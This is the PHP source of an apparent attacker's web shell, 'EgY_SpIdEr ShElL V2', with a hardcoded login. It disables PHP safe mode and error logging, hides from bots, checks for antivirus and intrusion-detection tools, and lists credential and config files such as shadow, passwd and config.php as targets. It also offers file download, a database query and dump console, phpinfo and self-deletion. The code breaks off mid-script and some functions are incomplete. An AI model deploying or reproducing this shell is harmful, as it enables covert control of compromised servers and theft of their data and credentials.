Easy

<?
###########################################
# EgY_SpIdEr ShElL V2 #
# EgY_SpIdEr #
# www.egyspider.com #
###########################################
//Change User & Password
$tacfgd['uname'] = 'egy_spider';
$tacfgd['pword'] = 'egy_spider';
// Title of page.
$tacfgd['title'] = 'EgY_SpIdEr ShElL';
// Text to appear just above login form.

$tacfgd['helptext'] = 'EgY SpIdEr ShElL';
// Set to true to enable the optional remember-me feature, which stores encrypted
login details to
// allow users to be logged-in automatically on their return. Turn off for a
little extra security.
$tacfgd['allowrm'] = true;
// If you have multiple protected pages, and there's more than one username /
password combination,
// you need to group each combination under a distinct rmgroup so that the
remember-me feature
// knows which login details to use.
$tacfgd['rmgroup'] = 'default';
// Set to true if you use your own sessions within your protected page, to stop
txtAuth interfering.
// In this case, you _must_ call session_start() before you require() txtAuth.
Logging out will not
// destroy the session, so that is left up to you.
$tacfgd['ownsessions'] = false;
foreach ($tacfgd as $key => $val) {

if (!isset($tacfg[$key])) $tacfg[$key] = $val;
}
if (!$tacfg['ownsessions']) {
session_name('txtauth');
session_start();
}
// Logout attempt made. Deletes any remember-me cookie as well

if (isset($_GET['logout']) || isset($_POST['logout'])) {
setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
if (!$tacfg['ownsessions']) {
$_SESSION = array();
session_destroy();
}
else $_SESSION['txtauthin'] = false;
}
// Login attempt made
elseif (isset($_POST['login'])) {
if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) {
$_SESSION['txtauthin'] = true;
if ($_POST['rm']) {
// Set remember-me cookie for 2 weeks
setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()
+86400*14);
}
}
else $err = 'Login Faild !';
}
// Remember-me cookie exists
elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] &&
$tacfg['allowrm']) {
$_SESSION['txtauthin'] = true;
}
else $err = 'Login Faild !';
}
if (!$_SESSION['txtauthin']) {
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
?>
<html dir=rtl>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title><?=$tacfg['title']?></title>
<STYLE>
BODY
{
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000;
SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456;
SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY:
Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}
tr {
BORDER-RIGHT: #dadada ;
BORDER-TOP: #dadada ;
BORDER-LEFT: #dadada ;
BORDER-BOTTOM: #dadada ;
color: #ffffff;
}
td {
BORDER-RIGHT: #dadada ;
BORDER-TOP: #dadada ;
BORDER-LEFT: #dadada ;
BORDER-BOTTOM: #dadada ;
color: #dadada;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #dadada;
}
table {
BORDER: #eeeeee outset;
color: #dadada;
}
input {
BORDER-RIGHT: #00FF00 1 solid;
BORDER-TOP: #00FF00 1 solid;
BORDER-LEFT: #00FF00 1 solid;
BORDER-BOTTOM: #00FF00 1 solid;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
font: 9pt tahoma;
color: #dadada;;
}
submit {
BORDER: buttonhighlight 1 outset;
width: 40%;
color: #dadada;
}
textarea {
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #dadada;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
<body>
<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div>
<hr width="300" size="1" noshade color="#cdcdcd">
<p>
<div align="center" class="grey">
<?=$tacfg['helptext']?>
</div>
<p>
<?
if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];
else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action =
str_replace('logout=1', '', $action);
?>
<form name="txtauth" action="<?=$action?>" method="post">
<div align="center">
<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border:
1px double #dedede;" dir="ltr">
<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.
$err.'</font></td></tr>':''?>
<?if (isset($tacfg['uname'])) {?>
<tr><td>User:</td><td><input type="text" name="uname" value="" size="20"
maxlength="100" class="txtbox"></td></tr>
<?}?>
<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20"
maxlength="100" class="txtbox"></td></tr>
<?if ($tacfg['allowrm']) {?>
<tr><td align="left"><input type="submit" name="login" value="Login">
</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm">
Remmeber Me?</label></td></tr>
<?} else {?>
<tr><td colspan="2" align="center">
<input type="submit" name="login" value="Login"></td></tr>
<?}?>
</table>
</div>
</form>
<br><br>
<hr width="300" size="1" noshade color="#cdcdcd">
<div class="smalltxt" align="center">Developed by
<a href="mailto:egy_spider@hotmail.com">EgY SpIdEr </a>� copyright �
& EgY SpIdEr</div>
</body>
</html>
<?
// Don't delete this!
exit();
}
?>
Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?
logout=1">Logout</a></p>
<div align="right">
<?php
if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0

404");exit("<h1>Not Found</h1>");}
$language='ar';
$auth = 0;
$name='7d1f6442a9ed59e62f93dcbc2695baa6';
$pass='7d1f6442a9ed59e62f93dcbc2695baa6';
//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8

@setlocale(LC_ALL,'ru_RU.cp1251');
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
if(@function_exists('ini_set'))
{
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('file_uploads',1);
@ini_set('allow_url_fopen',1);
}
else
{
@ini_alter('error_log',NULL);
@ini_alter('log_errors',0);
@ini_alter('file_uploads',1);
@ini_alter('allow_url_fopen',1);
}
error_reporting(E_ALL);
/* ??? ????? */
$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',',
ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',',
suidperl');
$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',',
clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',',
shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',',
logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',',
ninja');
$tempdirs =
array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/d
ev/shm/','/var/tmp/');
$downloaders = array('wget','fetch','lynx','links','curl','get');
/* ??? ?????? ???????? ???? ????? realpath() */

//$chars_rlph =
"_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz";
//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ";
//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz";
//$chars_rlph = "_-.01234567890";
$chars_rlph = "abcdefghijklnmopqrstuvwxyz";
$presets_rlph =
array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','co
nfig.php','config.inc.php','config.default.php','config.inc.php',
'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin',
'password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','sm
b.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs'
,
'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbull
etin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');
/
**********************************************************************************
********************/
define("starttime",@getmicrotime());
if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) ||
(@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;}
else{$open_basedir=0;};
set_magic_quotes_runtime(0);
@set_time_limit(0);
if(@function_exists('ini_set'))
{
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
}
else
{
@ini_alter('max_execution_time',0);
@ini_alter('output_buffering',0);
}
$safe_mode = @ini_get('safe_mode');
#if(@function_exists('ini_get')){$safe_mode =
@ini_get('safe_mode');}else{$safe_mode=1;};
$version = '1.42';
if(@version_compare(@phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name ||
md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="HELLO!"');
header('HTTP/1.0 401 Unauthorized');
exit("<h1>Access Denied</h1>");
}
}
if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {
$tempdir='./';
$select_tempdir = '<select name=tempdir><option value="./">./</option>';
foreach( $tempdirs as $item) {
if(@is_writable($item)){$select_tempdir .= '<option value="'.
$item.'">'.$item.'</option>';$tempdir=$item;}
}
$select_tempdir .= '</select>';
setcookie('tempdir',$tempdir);
setcookie('select_tempdir',$select_tempdir);
}else{
if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir =
$_COOKIE['tempdir'];}
$select_tempdir = $_COOKIE['select_tempdir'];
}
$head = '

<html>
<head>
<meta http-equiv="Content-Language" content="ar-sa">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>EgY_SpIdEr ShElL</title>
<STYLE>
BODY
{
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000;
SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456;
SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY:
Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}
tr {
BORDER-RIGHT: #333333 ;
BORDER-TOP: #333333 ;
BORDER-LEFT: #333333 ;
BORDER-BOTTOM: #333333 ;
color: #FFFFFF;
}
td {
BORDER-RIGHT: #333333 ;
BORDER-TOP: #333333 ;
BORDER-LEFT: #333333 ;
BORDER-BOTTOM: #333333 ;
color: #FFFFFF;
}
.table1 {
BORDER: 1;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #333333;
}
table {
BORDER: #eeeeee outset;
color: #333333;
}
input {
BORDER-RIGHT: #00FF00 1 solid;
BORDER-TOP: #00FF00 1 solid;
BORDER-LEFT: #00FF00 1 solid;
BORDER-BOTTOM: #00FF00 1 solid;
font: 9pt tahoma;
color: #ffffff;
}
select {
font: 9pt tahoma;
color: #333333;;
}
submit {
BORDER: buttonhighlight 1 outset;
width: 40%;
color: #333333;
}
textarea {
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #333333;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) |
($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) |
($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$this -> datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset += strlen($fr);
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == 'bzip' && @function_exists('bzcompress'))
{
$filename .= '.bz2';
$mime_type = 'application/x-bzip2';
$filedump = bzcompress($filedump);
}
else if ($compress == 'gzip' && @function_exists('gzencode'))
{
$filename .= '.gz';
$content_encoding = 'x-gzip';
$mime_type = 'application/x-gzip';
$filedump = gzencode($filedump);
}
else if ($compress == 'zip' && @function_exists('gzcompress'))
{
$filename .= '.zip';
$mime_type = 'application/zip';
$zipfile = new zipfile();
$zipfile -> addFile($filedump, substr($filename, 0, -4));
$filedump = $zipfile -> file();
}
else
{
$mime_type = 'application/octet-stream';
}
}
function moreread($temp){
global $lang,$language;
$str='';
if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets'
)&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp,
"r"))){
if($ffile){
while(!@feof($ffile)){$str .= @fgets($ffile);};
fclose($ffile);
}
}
elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fcl
ose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){
if($ffile){
$str = @fread($ffile, @filesize($temp));
@fclose($ffile);
}
}elseif(@function_exists('file')&&($ffiles = @file($temp))){
foreach ($ffiles as $ffile) { $str .= $ffile; }
}elseif(@function_exists('file_get_contents')){
$str = @file_get_contents($temp);
}elseif(@function_exists('readfile')){
$str = @readfile($temp);
}elseif(@function_exists('highlight_file')){
$str = @highlight_file($temp);
}elseif(@function_exists('show_source')){
$str = @show_source($temp);
}else{echo $lang[$language.'_text56'];}
return $str;
}
function readzlib($filename,$temp=''){
$str='';
if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
if(@copy("compress.zlib://".$filename, $temp)) {
$str = moreread($temp);
} else echo $lang[$language.'_text119'];
@unlink($temp);
return $str;
}
function morewrite($temp,$str='')
{
if(@function_exists('fopen') && @function_exists('fwrite') &&
@function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
if($ffile){
@fwrite($ffile,$str);
@fclose($ffile);
}
}elseif(@function_exists('fopen') && @function_exists('fputs') &&
@function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
if($ffile){
@fputs($ffile,$str);
@fclose($ffile);
}
}elseif(@function_exists('file_put_contents')){
@file_put_contents($temp,$str);
}else return 0;
return 1;
}
function mailattach($to,$from,$subj,$attach)
{
$headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach['type'];
$headers .= "; name=\"".$attach['name']."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
if(mail($to,$subj,"",$headers)) { return 1; }
return 0;
}
class my_sql
{
var $host = 'localhost';
var $port = '';
var $user = '';
var $pass = '';
var $base = '';
var $db = '';
var $connection;
var $res;
var $error;
var $rows;
var $columns;
var $num_rows;
var $num_fields;
var $dump;
function connect()
{
switch($this->db)
{
case 'MySQL':
if(empty($this->port)) { $this->port = '3306'; }
if(!@function_exists('mysql_connect')) return 0;
$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,
$this->pass);
if(is_resource($this->connection)) return 1;
break;
case 'MSSQL':
if(!@function_exists('mssql_connect')) return 0;
$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,
$this->pass);
if($this->connection) return 1;
break;
case 'PostgreSQL':
$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."'
password='".$this->pass."' dbname='".$this->base."'";
if(!@function_exists('pg_connect')) return 0;
$this->connection = @pg_connect($str);
break;
case 'Oracle':
if(!@function_exists('ocilogon')) return 0;
$this->connection = @ocilogon($this->user, $this->pass, $this->base);
break;
case 'MySQLi':
if(!@function_exists('mysqli_connect')) return 0;
$this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this-
>base,$this->port);
break;
case 'mSQL':
if(!@function_exists('msql_connect')) return 0;
$this->connection = @msql_connect($this->host.':'.$this->port,$this->user,
$this->pass);
break;
case 'SQLite':
if(!@function_exists('sqlite_open')) return 0;
$this->connection = @sqlite_open($this->base);
break;
}
return 0;
}
function select_db()
{
switch($this->db)
{
case 'MySQL':
if(@mysql_select_db($this->base,$this->connection)) return 1;
break;
case 'MSSQL':
if(@mssql_select_db($this->base,$this->connection)) return 1;
break;
case 'PostgreSQL':
return 1;
break;
case 'Oracle':
return 1;
break;
case 'MySQLi':
return 1;
break;
case 'mSQL':
if(@msql_select_db($this->base,$this->connection)) return 1;
break;
case 'SQLite':
return 1;
break;
}
return 0;
}
function query($query)
{
$this->res=$this->error='';
switch($this->db)
{
case 'MySQL':
if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this-
>connection)))
{
$this->error = @mysql_error($this->connection);
return 0;
}
else if(is_resource($this->res)) { return 1; }
return 2;
break;
case 'MSSQL':
if(false===($this->res=@mssql_query($query,$this->connection)))
{
$this->error = 'Query error';
return 0;
}
else if(@mssql_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'PostgreSQL':
if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection);
return 0;
}
else if(@pg_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'Oracle':
if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = 'Query parse error';
}
else
{
if(@ociexecute($this->res))
{
if(@ocirowcount($this->res) != 0) return 2;
return 1;
}
$error = @ocierror();
$this->error=$error['message'];
}
break;
case 'MySQLi':
if(false===($this->res=@mysqli_query($this->connection,$query)))
{
$this->error = @mysqli_error($this->connection);
return 0;
}
return 2;
break;
case 'mSQL':
if(false===($this->res=@msql_query($query,$this->connection)))
{
$this->error = @msql_error($this->connection);
return 0;
}
return 2;
break;
case 'SQLite':
if(false===($this->res=@sqlite_query($this->connection,$query)))
{
$this->error = @sqlite_error_string($this->connection);
return 0;
}
return 2;
break;
}
return 0;
}
function get_result()
{
$this->rows=array();
$this->columns=array();
$this->num_rows=$this->num_fields=0;
switch($this->db)
{
case 'MySQL':
$this->num_rows=@mysql_num_rows($this->res);
$this->num_fields=@mysql_num_fields($this->res);
while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
@mysql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case 'MSSQL':
$this->num_rows=@mssql_num_rows($this->res);
$this->num_fields=@mssql_num_fields($this->res);
while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
@mssql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
break;
case 'PostgreSQL':
$this->num_rows=@pg_num_rows($this->res);
$this->num_fields=@pg_num_fields($this->res);
while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
@pg_free_result($this->res);
break;
case 'Oracle':
$this->num_fields=@ocinumcols($this->res);
while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this-
>num_rows++;
@ocifreestatement($this->res);
break;
case 'MySQLi':
$this->num_rows=@mysqli_num_rows($this->res);
$this->num_fields=@mysqli_num_fields($this->res);
while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res)));
@mysqli_free_result($this->res);
break;
case 'mSQL':
$this->num_rows=@msql_num_rows($this->res);
$this->num_fields=@msql_num_fields($this->res);
while(false !== ($this->rows[] = @msql_fetch_array($this->res)));
@msql_free_result($this->res);
break;
case 'SQLite':
$this->num_rows=@sqlite_num_rows($this->res);
$this->num_fields=@sqlite_num_fields($this->res);
while(false !== ($this->rows[] = @sqlite_fetch_array($this->res)));
break;
}
return 0;
}
function dump($table)
{
if(empty($table)) return 0;
$this->dump=array();
$this->dump[0] = '##';
$this->dump[1] = '## --------------------------------------- ';
$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
$this->dump[3] = '## Database: '.$this->base;
$this->dump[4] = '## Table: '.$table;
$this->dump[5] = '## --------------------------------------- ';
switch($this->db)
{
case 'MySQL':
$this->dump[0] = '## MySQL dump';
if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return
0;
if(!$this->get_result()) return 0;
$this->dump[] = $this->rows[0]['Create Table'];
$this->dump[] = '## --------------------------------------- ';
if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] =
@mysql_real_escape_string($v);}
$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this-
>columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'MSSQL':
$this->dump[0] = '## MSSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).')
VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'PostgreSQL':
$this->dump[0] = '## PostgreSQL dump';
{
}
break;
case 'Oracle':
$this->dump[0] = '## ORACLE dump';
{
}
break;
case 'MySQLi':
$this->dump[0] = '## MySQLi dump';
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] =
@mysqli_real_escape_string($v);}
}
break;
case 'mSQL':
$this->dump[0] = '## mSQL dump';
{
}
break;
case 'SQLite':
$this->dump[0] = '## SQLite dump';
{
}
break;
default:
return 0;
break;
}
return 1;
}
function close()
{
switch($this->db)
{
case 'MySQL':
@mysql_close($this->connection);
break;
case 'MSSQL':
@mssql_close($this->connection);
break;
case 'PostgreSQL':
@pg_close($this->connection);
break;
case 'Oracle':
@oci_close($this->connection);
break;
case 'MySQLi':
@mysqli_close($this->connection);
break;
case 'mSQL':
@msql_close($this->connection);
break;
case 'SQLite':
@sqlite_close($this->connection);
break;
}
}
function affected_rows()
{
switch($this->db)
{
case 'MySQL':
return @mysql_affected_rows($this->res);
break;
case 'MSSQL':
return @mssql_affected_rows($this->res);
break;
case 'PostgreSQL':
return @pg_affected_rows($this->res);
break;
case 'Oracle':
return @ocirowcount($this->res);
break;
case 'MySQLi':
return @mysqli_affected_rows($this->res);
break;
case 'mSQL':
return @msql_affected_rows($this->res);
break;
case 'SQLite':
return @sqlite_changes($this->res);
break;
default:
return 0;
break;
}
}
}
if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !
empty($_POST['d_name']))
{
if($file=moreread($_POST['d_name'])){ $filedump = $file; }
else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else
{ err(1,$_POST['d_name']); $_POST['cmd']=""; }
if(!empty($_POST['cmd']))
{
@ob_clean();
$filename = @basename($_POST['d_name']);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
if (!empty($content_encoding)) { header('Content-Encoding: ' .
$content_encoding); }
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}
if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font
face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]
</b></font></div>"; die(); }
if (isset($_POST['cmd']) && $_POST['cmd']=="db_query")
{
echo $head;
$sql = new my_sql();
$sql->db = $_POST['db'];
$sql->host = $_POST['db_server'];
$sql->port = $_POST['db_port'];
$sql->user = $_POST['mysql_l'];
$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
$querys = @explode(';',$_POST['db_query']);
echo '<body bgcolor=#e4e0d8>';
if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2
color=red><b>Can't connect to SQL server</b></font></div>";
else
{
if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font
face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
else
{
foreach($querys as $num=>$query)
{
if(strlen($query)>5)
{
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." :
".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
switch($sql->query($query))
{
case '0':
echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".
$sql->error."</b></font></td></tr></table>";
break;
case '1':
if($sql->get_result())
{
echo "<table width=100%>";
foreach($sql->columns as $k=>$v) $sql->columns[$k] =
htmlspecialchars($v,ENT_QUOTES);
$keys = @implode(" </b></font></td><td bgcolor=#333333><font
face=Verdana size=-2><b> ", $sql->columns);
echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".
$keys." </b></font></td></tr>";
for($i=0;$i<$sql->num_rows;$i++)
{
foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] =
htmlspecialchars($v,ENT_QUOTES);
$values = @implode(" </font></td><td><font face=Verdana size=-
2> ",$sql->rows[$i]);
echo '<tr><td><font face=Verdana size=-2> '.
$values.' </font></td></tr>';
}
echo "</table>";
}
break;
case '2':
$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows :
<b>".$ar."</b></font></td></tr></table><br>";
break;
}
}
}
}
}
echo "<br><form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']);
echo in('hidden','db_server',0,$_POST['db_server']);
echo in('hidden','db_port',0,$_POST['db_port']);
echo in('hidden','mysql_l',0,$_POST['mysql_l']);
echo in('hidden','mysql_p',0,$_POST['mysql_p']);
echo in('hidden','mysql_db',0,$_POST['mysql_db']);
echo in('hidden','cmd',0,'db_query');
echo "<div align=center>";
echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db
value=\"".$sql->base."\"></font><br>";
echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?
($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM
user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL
query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".
$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
}
if(isset($_GET['12']))
{
@unlink(__FILE__);
}
{
